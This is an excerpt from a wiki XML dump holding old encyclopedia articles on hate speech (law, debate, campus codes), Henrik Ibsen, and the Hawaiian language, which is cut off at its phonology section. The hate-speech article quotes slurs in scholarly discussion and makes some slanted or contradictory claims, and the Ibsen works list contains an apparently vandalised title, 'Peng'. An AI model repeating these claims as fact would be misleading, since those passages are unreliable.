      <text xml:space="preserve">{{abuse}}

'''Hate speech''' is a [[controversy|controversial]] term for speech intended to degrade, intimidate, or incite violence or prejudicial action against a group of people based on their [[race]], [[ethnicity]], [[national origin]], [[religion]], [[sexual orientation]], or [[disability]]. The term covers written as well as oral communication.

==Controversy==
There is considerable debate over how or whether ''hate speech'' can be defined; whether speech thus labeled ought to be regulated; and if so, how and by whom. Many courts cannot even decide the definition of hate speech. The aforementioned debates center on three critical questions: First, what is the force of speech? Is it the expression of personal thoughts, or is it a form of action that affects and can harm others? Second, is the free expression of ideas which some perceive as hateful necessary for healthy public debate, or is it harmful to public debate? Third, should [[government]]al [[policy|policies]] be founded upon the protection of interests and [[right]]s of individuals, or identifiable groups, such as [[homosexuality|homosexuals]] and [[race|racial minorities]]?

==Legal aspects in the United States and elsewhere==  
In the [[United States]], government is broadly forbidden by the [[First Amendment to the United States Constitution|First Amendment]] of the [[United States Constitution|Constitution]] from restricting speech. [[Jurist]]s generally understand this to mean that the government cannot regulate the content of speech, but that it can sanction the harmful effects of speech through laws such as those against [[defamation]] or incitement to [[riot]].

Indeed, the term &quot;hate speech&quot; and its surrounding discussion (whether and to what extent speech should be regulated) is something restricted to American legal discourse.  For example, the [[Grundgesetz|German constitution]] is subtly more restrictive, guaranteeing 'freedom of voicing one's opinion' and elsewhere restricts its misuse against the public peace. The [[German Criminal Code]] specifically forbids inciting hatred against ethnic groups.

Since such laws often apply only to the [[victimization]] of specific individuals, some argue that hate speech must be regulated to protect members of groups. Others argue that hate speech limits the free development of political discourse and ought to be regulated, but by [[volunteer|voluntaristic]] communities and not by the state. Still others claim that it is not possible to legislate a boundary between legitimate controversial speech and hate speech in such a way which is just to those with controversial political or social views.

==Speech codes==
Various institutions in the United States and [[Europe]] began developing codes to limit or punish hate speech in the 1990s, on the grounds that such speech amounts to [[discrimination]].  Thus, such codes prohibit words or phrases deemed to express, either deliberately or unknowingly, hatred or contempt towards a group of people, based on areas such as their ethnic, cultural, religious or sexual identity, or with reference to [[physical health|physical]] or [[mental health]]. 

It may also in some contexts challenge the rights of individuals based on any or all of the above criteria. 

In addition to legal prohibition in many jurisdictions, prohibition of the use of hate speech has been written into the bylaws of some governmental and non-governmental institutions such as public [[university|universities]], [[trade union]]s and other organizations (see below), though the use of [[speech code|speech codes]] in public universities in the United States is blatantly illegal.  Its use is also frowned upon by many [[publishing house]]s, [[broadcasting]] organizations and [[newspaper]] groups.

==Laws against hate speech ==
In many countries, deliberate use of hate speech is a [[criminal offence]] prohibited under ''incitement to hatred'' legislation.  Such prohibitions have parallels with earlier prohibitions on such issues as [[obscenity]] and [[blasphemy]], which are or were also prosecutable offences.  

Some examples:

*[[Holocaust denial]] is outlawed in seven European countries as a form of hate speech, while the [[Council of Europe]] has passed laws against any type of [[historical revisionism (political)|revisionism]], defined as denial or downgrading [[genocide]]s or [[crimes against humanity]].

* In the [[United Kingdom]], [[incitement to racial hatred]] is an offence under the [[Public Order Act 1986]] with a maximum sentence of up to seven years imprisonment.

* In [[Canada]], advocating genocide or inciting hatred against any 'identifiable group' is an indictable offense under the [[Canadian Criminal Code]] with maximum terms of two to fourteen years. An 'identifiable group' is defined as 'any section of the public distinguished by colour, race, religion, ethnic origin or sexual orientation.' It makes exceptions for cases of statements of truth, and subjects of public debate and religious doctrine.

* [[Victoria (Australia)|Victoria]], [[Australia]] has enacted the [[Racial and Religious Tolerance Act 2001]], which prohibits conduct that incites hatred against or serious contempt for, or involves revulsion or severe ridicule of another on the grounds of his race or religious beliefs.

===Justification for laws controlling or prohibiting hate speech===

Proponents of limitations on hate speech argue that repeated instances of hate speech do more than express ideas or expresses dissent; rather, hate speech often promotes and results in fear, [[intimidation]] and harassment of individuals, and may result in [[murder]] and even [[genocide]] of those it is targeted against. As such, [[historical revisionism (political)|historical revisionism]] is thought to be a form of [[propaganda]] which, deleting [[memory]] of real events, allows them to repeat themselves (as in the: &quot;Never more!&quot;, following [[World War I]]... and then the [[Holocaust denial|Holocaust]]). 

According to [[Critical race theory|Richard Delgado]], it is possible to identify hate speech on the use of certains key-words, arguing that &quot;Words such as '[[nigger]]' and '[[spick]]' are badges of degradation even when used between friends: ''these words have no other connotation''.&quot; Therefore, the act of calling someone a name should be censored if the name used belongs to a previously-identified hate speech. However, [[Judith Butler]] (1997) claims that &quot;this very statement, whether written in his text or cited here, has another connotation; he has just used the word in a significantly different way.&quot; (Butler considers that &quot;mentioning&quot; a word is an effective &quot;use&quot; of the word in another context) {{ref|Butler}} On this basis, Butler claims that words do not have an absolute meaning, but one that depends on the context. She thus underlines the difficulty of identifying a hate-speech. Ultimately, the state itself defines the limits of acceptable [[discourse]], according to her. However, Butler takes the precaution to explicitly deny being against all forms of limitation of discourse, the object of her book being only to point out the different issues at stake when one address the problem of hate speech and censorship. She points out, for example, that the very act of forbidding hate-speech reconducts this hate-speech, as quoted by juridical authorities, thus leading to a proliferation of this discourse - Butler's reasoning here follows [[Michel Foucault]]'s statement according to which sexuality has not only been censored during the [[Victorian era]]: it was also put in discourse through a &quot;sexuality dispositif&quot;, thus transforming &quot;sex&quot; into what the West names &quot;sexuality&quot;. In this case, censorship of sexuality has made the discourse of sexuality proliferate, with the constitution of a huge amount of scientific or pseudo-scientific litterature on &quot;sexuality&quot;, conceived as the secret of our own [[personal identity|personal identities]].

===Arguments against legal restrictions===

There are a number of arguments suggested against the prohibition of hate speech:

* Prohibiting hate speech interferes with the right of ''free expression'' and free discussion of opinions, a key right in modern [[democracy|democracies]], particularly in the [[media]].  (The United States constitution expressly protects freedom of the press.) This argument from freedom is formally described by [[John Stuart Mill]] in [[On Liberty]].

* What exactly is &quot;hate speech&quot;? A legal definition would need to provide clear guidance to an individual speaker or writer, and to prosecutors, judges and juries involved in the prosecution of &quot;hate speech&quot;. Any ambiguity or lack of clarity and specificity in such definitions would necessarily result in arbitrary and unpredictable decisions. 

* Specifically, prohibiting &quot;hate speech&quot; would effectively invest government prosecutors with wide discretion to persecute and silence expressions of certain opinions as &quot;hate speech&quot; based on political convenience while ignoring equally &quot;hateful&quot; expressions which have the support of vocal or violent groups. 

* Hate speech restrictions are attempts to control not only the relevant speech actions, but the thoughts of individuals, and are thus an attempt to create a kind of [[thoughtcrime]]. Some believe governments may be currently enforcing laws that implement a ''de facto'' thoughtcrime regime. 

* Even if used, hate speech does not necessarily lead to actions, and that where actions are carried out, the speaker of those words cannot be held responsible for the actions of others.  Critics of this position hold that position depends on denying what they argue as historical truths (i.e. that hate speech in practice sometimes is used to incite [[murder]] and [[genocide]]).

* Prohibiting hate speech does nothing to change the ideas that give rise to the opinions behind the &quot;offensive&quot; terms.  On this view, it is agreed that hate speech may be dangerous and should not exist, but suggested that we should not attempt to end it by legislative action, as opposed to debate and discussion. The antirevisionist [[Nizkor Project]] follows such a stance.

* In some cases it is held that prohibiting hate speech is part of a campaign of [[political correctness]] intended to censor ''any expression'' of certain ideas, even if there is no accompanying incitement to hatred or criminal action.

* Hate speech does not necessarily lead to racial hatred. In fact the opposite is often true... when racists express their views openly, most people are repulsed. As Justice Brandeis famously wrote, &quot;Sunshine is the best disinfectant.&quot; In the United States, where free speech is protected, racist groups such as the KKK are extremely tiny and marginalized. In European countries such as Austria and France, however, racist political parties -- forbidden by law from expressing openly racist views -- have built mass movements.

==Differing concepts of what is offensive==

A central aspect of the hate speech debate is that concepts of what is acceptable and unacceptable differ, depending on eras in history and one's cultural and religious background.  For example, ''personalised'' criticism of homosexuality and the belief that it is &quot;immoral&quot;, based on a person's religious beliefs, are to some a valid expression of their values, to others an expression of [[homophobia]] and are therefore [[homophobic hate speech]].  Prohibition in such cases is seen by some as an interference in their rights to express their beliefs. To others, these expressions generate harmful attitudes that potentially cause discrimination. 

Furthermore, words which once &quot;embodied&quot; negative hate speech connotations, such as '[[queer]]' or '[[faggot (slang)|faggot]]' against homosexuals, '[[nigger (word)|nigger]]' against people of [[Africa]]n origin, have themselves been &quot;reclaimed&quot; by their respective communities, who attached more positive meanings to the words, so undermining their value to those who wish to use them in a negative sense. Significations differ following the context, as [[Judith Butler]] argues.

Concepts of what qualifies as ''hate speech'' broadened in the late twentieth century to include some views expressed from an ideological standpoint. For instance, some feminists refer to jokes about women or lesbians as hate speech. Just recently in Canada sexual orientation was added to the list of relevant characteristics for protection from hate-speech. Not everyone accepts that there is a comparison between classic forms of hate speech, which were incitement to hate or even physically harm, and the use of language that arguably just shows disrespect.  Some discussions between politically [[right wing]] and [[left wing]] can be viewed as hateful, even though the language indulged in by both sides is not normally classified as hate speech.  However, some argue that such comments demean and undermine the individuals and so ''should'' qualify as hate speech. 

Attitudes towards controlling hate speech cannot be reliably correlated with the traditional [[political spectrum]]. In the [[United States]], there is a general consensus that [[free speech]] values take precedence over limiting the harm caused by verbal insult.  At the same time, many [[conservatives]] believe verbally expressed &quot;discrimination&quot; against religions, such as [[blasphemy]], should be condemned, while [[liberals]] feel the same way about verbal &quot;discrimination&quot; against identity-related personal characteristics, such as [[homosexuality]].

==Hate speech codes and censorship in academia==

Some United States universities have speech codes that prohibit hate speech.  These rules are intended to ensure an atmosphere free from harassment and intimidation, conducive to a learning environment.  Many speakers have opposed such speech codes, claiming they constitute a new orthodoxy of [[political correctness]] that represents an erosion of the American commitment to [[freedom of speech]], and-- when implemented in government-funded institutions-- the [[United_States_Constitution/Amendment_One|First Amendment]] to the [[United States Constitution]].

Some observers believe that speech codes are often used by school administrators to enforce thought conformity and that the accusation of hate speech is often made to suppress points of view that are unfavorable to certain &quot;protected groups&quot;, which represents a significant infringement of the tradition of academic freedom and gives members of these groups an unfair advantage in the marketplace of ideas. Opponents counter that hate speech in fact protects all groups, even though hate speech against certain groups, such as heterosexuals, is rare and thus receives less attention.

For example, for a college professor to say, &quot;[[Lesbian]]s should not be schoolteachers,&quot; could be considered hate speech.  The professor could be denied tenure, even if he were expressing his religiously-based belief that homosexuals should not be put in positions where they can influence young people.  Underlying such a claim is the belief that homosexuals in positions of influence over young people might influence their sexuality.  Opponents would argue that the underlying theory behind the words suggests a false understanding of the nature of human sexuality with their usage designed to promote fear of homosexuals and their supposed influence on children among non-homosexuals, so leading to hatred of, and discrimination against, homosexuals. 

He could offer the defense that he doesn't hate lesbians and didn't intend to hurt anyone's feelings, but was expressing his genuinely held beliefs based on religious convictions.  In such circumstances, the consequences of his comment could lead to his facing disciplinary action.  Some would judge such actions as an unfair restriction on his beliefs and freedom of expression.  Others would see it as upholding the principle of attacking discrimination and hatred.

==See also==
*[[Anti-gay slogan]]
*[[Anti-cult movement]]
*[[Anti-Semitism]]
*[[Cisgender]]
*[[Cult]]
*[[Diversity]]
*[[Fighting words]]
*[[Freedom of speech]]
*[[Foundation for Individual Rights in Education]]
*[[Gay-bashing]]
*[[Hate crime]]
*[[Hate group]]
*[[Hate mail]]
*[[Historical revisionism (political)|Historical revisionism]]
*[[Holocaust denial]]
*[[Homophobia]]
*[[Homophobic hate speech]]
*[[Homosexuality and morality]]
*[[International Freedom of Expression Exchange]]
*[[Islamophobia]]
*[[Jyllands-Posten Muhammad cartoons controversy]]
*[[Limitations clause]]
*[[Misandry]]
*[[Misogyny]]
*[[Nazism]]
*[[Non-sexist language]]
*[[Political correctness]]
*[[Profanity]]
*[[Race baiting]]
*[[Race card]]
*[[Race war]]
*[[Racism]]
*[[Taboo]]
*[[Thoughtcrime]]

==References==

* {{note|Butler}} Butler, Judith (1997). ''Excitable Speech: A Politics of the Performative''. New York: Routledge. ISBN 0415915880.

==External links==
* [http://www.ericdigests.org/1993/drug.htm Reconciling Rights and Responsibilities of Colleges and Students: Offensive Speech, Assembly, Drug Testing and Safety]
* [http://www.ericdigests.org/1998-1/conduct.htm From Discipline to Development: Rethinking Student Conduct in Higher Education]
* [http://www.ericdigests.org/2001-3/sexual.htm Sexual Minorities on Community College Campuses]
* [http://laws.justice.gc.ca/en/C-46/165505.html#rid-165543 Canadian Hate Propaganda Laws]
* [http://www.amirbutler.com/archives/2005/08/16/46 Warning from Australia: don’t legislate against hate]
* [http://www.thefire.org The Foundation for Individual Rights in Education]
* [http://www.ibiblio.org/rcip//sbh.html Survivor bashing - bias motivated hate crimes]
[[Category:Human rights abuses]]
[[Category:Prejudice and discrimination]]
[[Category:Sexual orientation and society]]
[[Category:Philosophical concepts]]
[[Category:Political philosophy]]

[[de:Hassprediger]]
[[nl:Hatespeech]]
[[ja:ヘイトスピーチ]]
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[[sv:Hets mot folkgrupp]]</text>
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  <page>
    <title>Henrik Ibsen</title>
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      <minor />
      <comment>disambiguation from [[Doctor]] to [[Physician]] - ([[WP:DPL|You can help!]])</comment>
      <text xml:space="preserve">'''Henrik Johan Ibsen''' ([[March 20]], [[1828]] &amp;ndash; [[May 23]], [[1906]]) was an extremely influential [[Norway|Norwegian]] [[playwright]] who was largely responsible for the rise of the modern [[realism (arts)|realistic]] [[drama]] (dubbed &quot;the father of modern drama&quot;). It is said that Ibsen is the most frequently performed dramatist in the world after [[Shakespeare]]. Despite spending much time in exile, living in [[Germany]] and [[Italy]], Ibsen is held to be the greatest Norwegian author of all times, being celebrated as a national symbol by Norwegians, and as one of the most important playwrights in world history.

[[Image:Henrik Ibsen.jpg|thumb|250|right|Photo of Henrik Ibsen in his older days]]

His plays were considered scandalous to many of his era, when [[Victorian morality|Victorian values]] of family life and propriety largely held sway in Europe and any challenge to them was considered immoral and outrageous. Ibsen's work examined the realities that lay behind many façades, possessing a revelatory nature that was disquieting to many contemporaries.

Ibsen largely founded the modern stage by introducing a critical eye and free inquiry into the conditions of life and issues of morality. Victorian-era plays were expected to be [[Morality play|moral dramas]] with noble protagonists pitted against darker forces. Every drama was expected to result in a morally appropriate conclusion, meaning that goodness was to bring happiness, and immorality only pain. Ibsen challenged this notion and the beliefs of his times and shattered the illusions of his audiences.

==Family and youth==
He was born to Knud Ibsen and Marichen Altenburg, a relatively well-to-do merchant family, in the small port town of [[Skien]], [[Norway]], which was primarily noted for shipping timber. He was a descendant of some of the oldest and most distinguished families of Norway, like the Paus family. Shortly after his birth, however, his family's fortunes took a significant turn for the worse. His mother turned to religion for solace, while his father declined into a severe [[clinical depression|depression]]. The characters in his plays often mirror his parents, and his themes often deal with issues of financial difficulty as well as moral conflicts stemming from dark private secrets hidden from society.

At fifteen, Ibsen left home. He moved to the small town [[Grimstad]] to become an apprentice [[pharmacist]] and began writing plays. In [[1846]], he fathered an illegitimate child with a [[Domestic worker|servant]] maid whom he rejected. Ibsen came to [[Oslo|Christiania]] intending to attend university, but cast off the idea, preferring to commit to writing.  His first play, the tragedy ''[[Catiline (play)|Catilina]]'' ([[1850]]), was published under the [[pseudonym]] '''Brynjolf Bjarme''', when he was only 22, but it was not performed. His first play to see production was ''[[The Burial Mound]]'' ([[1850]]), however, it did not receive much attention. Still, Ibsen was determined to be a [[playwright]], although he was not to write again for some years.

==Life and writings==

He spent the next several years employed at the [[Bergen norske Theater|Norwegian Theater]] in [[Bergen, Norway|Bergen]], where he was involved in the production of more than 145 plays as a writer, director, and producer. During this period he did not publish any new plays of his own. Despite Ibsen's failure to achieve success as a playwright, he gained a great deal of practical experience at the Norwegian Theater, experience that was to prove valuable when he continued writing.

Ibsen returned to Oslo in [[1858]] to become the creative director of Oslo's National Theater. He married Suzannah Thoresen the same year and they gave birth to their only child,  [[Sigurd Ibsen|Sigurd]]. The couple lived in very poor financial circumstances and Ibsen became very disenchanted with life in Norway. In [[1864]] he left Oslo and went to [[Italy]] in self-imposed exile. He was not to return to his native land for the next 27 years, and when he returned it was to be as a noted playwright, however controversial.

His next play, ''[[Brand (play)|Brand]]'' ([[1865]]), was to bring him the critical acclaim he sought, along with a measure of financial success, as was his next play, ''[[Peer Gynt]]'' ([[1867]]), to which [[Edvard Grieg]] famously composed the [[incidental music]].

With success, he became more confident and began to introduce more and more his own beliefs and judgments into the drama, exploring what he termed the &quot;drama of ideas&quot;. His next series of plays are often considered his Golden Age, when he entered the height of his power and influence, becoming the center of dramatic controversy across Europe.

Ibsen moved from Italy to [[Dresden]], [[Germany]] in [[1868]]. Here he spent years writing the play he himself regarded as his main work, ''[[Emperor and Galilean]]'' ([[1873]]), dramatizing the life and times of the Roman emperor [[Julian the Apostate]]. But although Ibsen himself always looked back on this play as the cornerstone of his entire works, very few shared his opinion. And his next works would be much more acclaimed.

[[Image:Ibsen-Dresden.jpg|left|thumb|170px|Portrait from around 1870]]
Ibsen moved to [[Munich]] in [[1875]] and published ''[[A Doll's House]]'' in [[1879]]. The play is a scathing criticism of the traditional roles of men and women in Victorian marriage.

Ibsen followed ''A Doll's House'' with ''[[Ghosts (play)|Ghosts]]'' ([[1881]]), another scathing commentary on Victorian morality, in which a widow reveals to her pastor that she has hidden the evils of her marriage for its duration. The pastor had advised her to marry her then fiancé despite his philandering, and she did so in the belief that her love would reform him. But she was not to receive the result she was promised. Her husband's philandering continued right up until his death, and the result is that her son is syphilitic. Even the mention of [[venereal disease]] was scandalous, but to show that even a person who followed society's ideals of morality had no protection against it, that was beyond scandalous. Hers was not the noble life which Victorians believed would result from fulfilling one's duty rather than following one's desires. Those idealized beliefs were only the ''Ghosts'' of the past, haunting the present.

Society's criticism of Ibsen was raised to a fever pitch at this point, but Society itself was losing its control over the mass of people, most of whom didn't live in the rarefied air of the Victorian Gentleman. They wanted to see Ibsen's plays because he showed what so many of them already knew to be the reality. The tide had turned.

In ''[[An Enemy of the People]]'' ([[1882]]), Ibsen went even further. Before, controversial elements were important and even pivotal components of the action, but they were on the small scale of individual households. In ''An Enemy'' controversy became the primary focus, and the antagonist was the entire community. One primary message of the play is that the individual, who stands alone, is more often &quot;right&quot; than the mass of people, who are portrayed as ignorant and sheeplike. The Victorian belief was that the community was a noble institution that could be trusted, a fiction Ibsen challenged.

The protagonist is a [[Physician|doctor]], a pillar of the community. The town is a vacation spot whose primary draw is a public bath. The doctor discovers that the water used by the bath is being contaminated when it seeps through the grounds of a local tannery. He expects to be acclaimed for saving the town from the nightmare of infecting visitors with disease, but instead he is declared ''An Enemy of the People'' by the locals, who band against him and even throw stones through his windows. The play ends with his complete ostracism. It is obvious to the reader that disaster is in store for the town as well as for the doctor, due to the community's unwillingness to face reality.

As audiences by now expected of him, his next play again attacked entrenched beliefs and assumptions -- but this time his attack was not against the Victorians but against overeager reformers and their idealism. Always the [[iconoclast]], Ibsen was as willing to tear down the ideologies of any part of the political spectrum, including his own.

''[[The Wild Duck]]'' ([[1884]]) is considered by many to be Ibsen's finest work, and it is certainly the most complex. It tells the story of Gregers Werle, a young man who returns to his hometown after an extended exile and is reunited with his boyhood friend Hjalmar Ekdal. Over the course of the play the many secrets that lie behind the Ekdals' apparently happy home are revealed to Gregers, who insists on pursuing the absolute truth, or the &quot;Summons of the Ideal&quot;. Among these truths: Gregers' father impregnated his servant Gina, then married her off to Hjalmar to legitimize the child. Another man has been disgraced and imprisoned for a crime the elder Werle committed. And while Hjalmar spends his days working on a wholly imaginary &quot;invention&quot;, his wife is earning the household income.

Ibsen displays masterful use of [[irony]]: despite his dogmatic insistence on truth, Gregers never says what he thinks but only insinuates, and is never understood until the play reaches its climax. Gregers hammers away at Hjalmar through innuendo and coded phrases until he realizes the truth; Gina's daughter, Hedvig, is not his child. Blinded by Gregers' insistence on absolute truth, he disavows the child. Seeing the damage he has wrought, Gregers determines to repair things, and suggests to Hedvig that she sacrifice the wild duck, her wounded pet, to prove her love for Hjalmar. Hedvig, alone among the characters, recognizes that Gregers always speaks in code, and looking for the deeper meaning in the first important statement Gregers makes which does not contain one, kills herself rather than the duck in order to prove her love for him in the ultimate act of self-sacrifice. Only too late do Hjalmar and Gregers realize that the absolute truth of the &quot;ideal&quot; is sometimes too much for the human heart to bear.

[[Image:Handwriting2.jpg|left|thumb|300px|Letter from Ibsen to [[Edmund Gosse]] in 1899]]

Probably Ibsen's most performed play is ''[[Hedda Gabler]]'' ([[1890]]), the leading female role being regarded as one of the most challenging and rewarding for an actress even in the present day.  There are many similarities between Hedda and the character of Nora in ''A Doll's House''.

Ibsen had completely rewritten the rules of drama with a [[realism (arts)|realism]] which was to be adopted by [[Anton Chekhov|Chekhov]] and others and which we see in the theater to this day. From Ibsen forward, challenging assumptions and directly speaking about issues has been considered one of the factors that makes a play ''[[Art]]'' rather than entertainment.

Finally, Ibsen returned to Norway in [[1891]], but it was in many ways not the Norway he had left. Indeed, he had played a major role in the changes that had happened across society. The Victorian Age was on its last legs, to be replaced by the rise of Modernism not only in the theater, but across public life.

With a stellar career behind him, the likes of which few authors or playwrights ever see, Ibsen passed away after a series of [[stroke]]s in [[Kristiania]] in [[1906]] at the age of 78. He did particularly well in his last words, with his nurse assuring a visitor that the playwright was a little better, only for Ibsen to splutter &quot;On the contrary&quot; - and die. Ibsen was a great influence on many intellectuals and activists of his time, for instance anarchist [[Emma Goldman|Emma Goldman]] and [[Bjørnstjerne Bjørnson]].

==List of Works==
* (1850) ''[[Peng(play)|Peng]]'' (''Catilina'')
* (1850) ''[[The Burial Mound]]'' (''Kjæmpehøjen'')
* (1852) ''[[St. John's Eve (play)]]'' (''Sancthansnatten'')
* (1854) ''[[Lady Inger of Oestraat]]'' (''Fru Inger til Østeraad'')
* (1855) ''[[The Feast at Solhaug]]'' (''Gildet paa Solhoug'')
* (1856) ''[[Olaf Liljekrans]]'' (''Olaf Liljekrans'')
* (1857) ''[[The Vikings at Helgeland]]'' (''Hærmændene paa Helgeland'')
* (1862) ''[[Love's Comedy]]'' (''Kjærlighedens Komedie'')
* (1863) ''[[The Pretenders (play)|The Pretenders]]'' (''Kongs-Emnerne'')
* (1865) ''[[Brand (play)|Brand]]'' (''Brand'')
* (1867) ''[[Peer Gynt]]'' (''Peer Gynt'')
* (1869) ''[[The League of Youth]]'' (''De unges Forbund'')
* (1873) ''[[Emperor and Galilean]]'' (''Kejser og Galilæer'')
* (1877) ''[[Pillars of Society]]'' (''Samfundets støtter'')
* (1879) ''[[A Doll's House]]'' (''Et dukkehjem'')
* (1881) ''[[Ghosts (play)|Ghosts]]'' (''Gengangere'')
* (1882) ''[[An Enemy of the People]]'' (''En Folkefiende'')
* (1884) ''[[The Wild Duck]]'' (''Vildanden'')
* (1886) ''[[Rosmersholm]]'' (''Rosmersholm'')
* (1888) ''[[The Lady from the Sea]]'' (''Fruen fra havet'')
* (1890) ''[[Hedda Gabler]]'' (''Hedda Gabler'')
* (1892) ''[[The Master Builder]]'' (''Bygmester Solness'')
* (1894) ''[[Little Eyolf]]'' (''Lille Eyolf'')
* (1896) ''[[John Gabriel Borkman]]'' (''John Gabriel Borkman'')
* (1899) ''[[When We Dead Awaken]]'' (''Når vi døde vågner'')

==External links==
{{wikiquote}}
* [http://www.ibsen.net/?id=83 Ibsen.net - All about Ibsen]
* [http://www.ibsen.uio.no/his/hjemmeside/english.html Henrik Ibsen's Writings] About a new historical-critical edition.
* [http://www.odin.dep.no/odin/engelsk/norway/history/032005-990396/index-dok000-b-n-a.html Biography from the Norwegian Ministry of Foreign Affairs]
* [http://www.ibsenworldwide.info/ Extensive resource in several languages from the Norwegian Ministry of Foreign Affairs]
* [http://etext.library.adelaide.edu.au/aut/ibsen_henrik.html Online editions of works]
* [http://www.mrrena.com/Ibsen.shtml Henrik Ibsen The Prominence of Nora: Familiar is Familial]
* [http://www.nb.no/baser/ibsen/english.html The International Ibsen Bibliography]
* {{gutenberg author|id=Henrik_Ibsen|name=Henrik Ibsen}}
* {{gutenberg|no=8152|name=Henrik Ibsen}} (the biography by [[Edmund Gosse]])
* [http://people.opera.com/howcome/2006/ibsen Online editions of plays, in Norwegian]

[[Category:1828 births|Ibsen, Henrik]]
[[Category:1906 deaths|Ibsen, Henrik]]
[[Category:Norwegian dramatists and playwrights|Ibsen, Henrik]]
[[Category:Norwegian writers|Ibsen, Henrik]]
[[Category:Order of St. Olav|Ibsen, Henrik]]

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    <title>Hawaiian language</title>
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      <text xml:space="preserve">{{Infobox Language
|name=Hawaiian
|nativename={{Unicode|ʻŌlelo Hawaiʻi}}
|familycolor=Austronesian
|region={{Unicode|[[Hawaii|Hawaiʻi]]}}: concentrated on {{Unicode|[[Niihau|Niʻihau]]}} and {{Unicode|[[Hawaii (island)|Hawaiʻi]]}}, but speakers throughout the [[Hawaiian Islands]] and the [[United States|U.S.]] mainland
|speakers=~1,000 native&lt;br&gt;~15,000 total
|fam2=[[Malayo-Polynesian languages|Malayo-Polynesian]]
|fam3=[[Central Eastern Malayo-Polynesian languages|Central Eastern]]
|fam4=[[Eastern Malayo-Polynesian languages|Eastern]]
|fam5=[[Oceanic languages|Oceanic]]
|fam6=[[Central-Eastern Oceanic languages|Central-Eastern]]
|fam7=[[Remote Oceanic languages|Remote Oceanic]]
|fam8=[[Central Pacific languages|Central Pacific]]
|fam9=[[East Fijian-Polynesian languages|East]]
|fam10=[[Polynesian languages|Polynesian]]
|fam11=[[Nuclear Polynesian languages|Nuclear Polynesian]]
|fam12=Eastern
|fam13=Central Eastern
|fam14=[[Marquesic languages|Marquesic]]
|nation={{Unicode|[[Hawaii|Hawaiʻi]]}} (with [[Hawaiian English]])
|iso2=haw|iso3=haw}}

'''Hawaiian''' is the [[ancestor|ancestral]] [[language]] of the [[indigenous people]] of the [[Hawaiian Islands|Hawaiian Islands]], the [[Hawaiians]], a [[Polynesia]]n people.  Hawaiian, along with [[English language|English]], is an [[official language]] of the {{Unicode|[[Hawaii|State of Hawaiʻi]]}}. The [[ISO language code]] for Hawaiian is &lt;code&gt;haw&lt;/code&gt;.

Hawaiian is a member of the [[Austronesian languages|Austronesian language family]], most closely related to [[Polynesian languages]] like [[Marquesan language|Marquesan]], [[Tahitian language|Tahitian]], [[Samoan language|Sāmoan]], [[Maori language|Māori]], and [[Rapanui]] (i.e., the language of Easter Island), as well as to other languages in the Pacific, like [[Fijian language|Fijian]], and more distantly to [[Indonesian language|Indonesian]], [[Malagasy language|Malagasy]], and the indigenous languages of [[Taiwan]] and the [[Philippines]].

==Use of the language==
Hawaiian is an [[endangered language]].  On six of the seven inhabited islands, Hawaiian was long ago displaced by [[English language|English]] and is no longer used as the daily language of [[communication]].

The one exception is {{Unicode|[[Niihau|Niʻihau]]}}, where Hawaiian has never been displaced, has never been endangered, and is still used almost exclusively.  This is because:

#{{Unicode|Niʻihau}} has been privately owned for over 100 years;
#visitation by outsiders has been only rarely allowed;
#the Caucasian owners/managers of the island have favored the {{Unicode|Niʻihauans'}} continuation of their language;
#and, most of all, because the {{Unicode|Niʻihau}} speakers themselves have naturally maintained their own native language, even though they sometimes use English as a second language for school.

Native speakers of {{Unicode|Niʻihau}} Hawaiian are able to use a manner of speaking among themselves which is significantly different from the Hawaiian of the other islands, so different that it is unintelligible to non-{{Unicode|Niʻihau}} speakers of Hawaiian.

For a variety of reasons starting around [[1900]], the number of native speakers of Hawaiian diminished from 37,000 to 1,000; half of these remaining are now in their seventies or eighties (see Ethnologue report below for citations).

The most important cause for the decline of the Hawaiian language was its voluntary abandonment by the majority of its native speakers.  They wanted their own children to speak English, as a way to promote their success in a rapidly changing modern environment, so they refrained from using Hawaiian with their own children.  Even as early as [[1885]], before the overthrow of the Hawaiian monarchy in [[1893]], and before the [[Bayonet Constitution]] of [[1887]], while [[Kalakaua|King Kalākaua]] was still on the throne, the Prospectus of the Kamehameha Schools announced that &quot;instruction will be given only in English language&quot; (see published opinion of the United States Court of Appeals for the Ninth Circuit, Doe v. Kamehameha Schools, case no. 04-15044, page 8928, filed August 2nd 2005).

Efforts to revive the language have increased in recent decades.  Hawaiian language &quot;immersion&quot; [[school|schools]] are now open to children whose families want to retain (or introduce) Hawaiian language into the next [[generation]].  The local [[NPR]] station features a short segment titled &quot;Hawaiian word of the day.&quot;  Additionally, the Sunday editions of the [[Honolulu Star-Bulletin]], one of Honolulu's two major newspapers, feature a brief article called [http://www.starbulletin.com/kauakukalahale.php/ ''Kauakukalahale''] written entirely in Hawaiian by a student.

When trying to learn Hawaiian as a second language, without a competent teacher and without native speakers of Hawaiian as models, English-speaking learners might mispronounce Hawaiian words by using English values for the letters.  Also, learners might not be aware that one cannot simply replace the English words in an English sentence with Hawaiian words as a way to create a Hawaiian sentence.  Hawaiian and English have important differences in the order of words in a phrase, and the order of phrases in a sentence.  Even students of the immersion schools, where there are  native speakers to imitate, are prone to produce ungrammatical expressions --- Hawaiian words are substituted directly into English syntactic patterns.  Sam Warner, a major proponent of the immersion schools, has described some of the students' expressions as &quot;bizarre&quot; in his dissertation on the immersion program.

There is also a certain tension between those who would revive a purist Hawaiian, as spoken in the early 19th century, and those who grew up speaking a colloquial Hawaiian shaped by more than one hundred years of contact with English and pidgin.

[[Hawaiian Pidgin]] (more properly described as an English-Hawaiian [[creole language]]) is a local language, derived mostly fom English but with its own unique [[syntax]] and [[phonology]].  Its vocabulary comes from English, Hawaiian, and Asian languages. The latter are predominantly [[Japanese language|Japanese]] and [[Cantonese language|Cantonese]], introduced by immigrants hired to work at [[sugar]] and [[pineapple]] [[plantation|plantations]]; but Philippine languages have made contributions as well.  Often overlooked but also important are the contributions of European languages other than English, especially [[Portuguese language|Portuguese]].

==Phonology==
Hawaiian is notable for having a small [[phoneme]] inventory (see Hawaiian alphabet, below), like many of its [[Polynesia]]n cousins.  Especially notable is the fact that it  originally did not distinguish between /t/ and /k/; few languages do not make that distinction. A /t/ pronunciation of this phoneme was common at the {{Unicode|Kauaʻi}} ({{Unicode|Tauaʻi}}) end of the island chain, and a /k/ pronunciation at the Big Island (island of {{Unicode|Hawaiʻi}}) end. The /k/ pronunciation won out over the /t/ pronunciation after [[Kamehameha the Great]], who was from the island of {{Unicode|Hawaiʻi}}, conquered all the islands. However, the /t/ realization remains on {{Unicode|[[Niihau|Niʻihau]]}}.

===Consonants===
The [[consonant]] [[phoneme]]s of Hawaiian are shown in the following table:
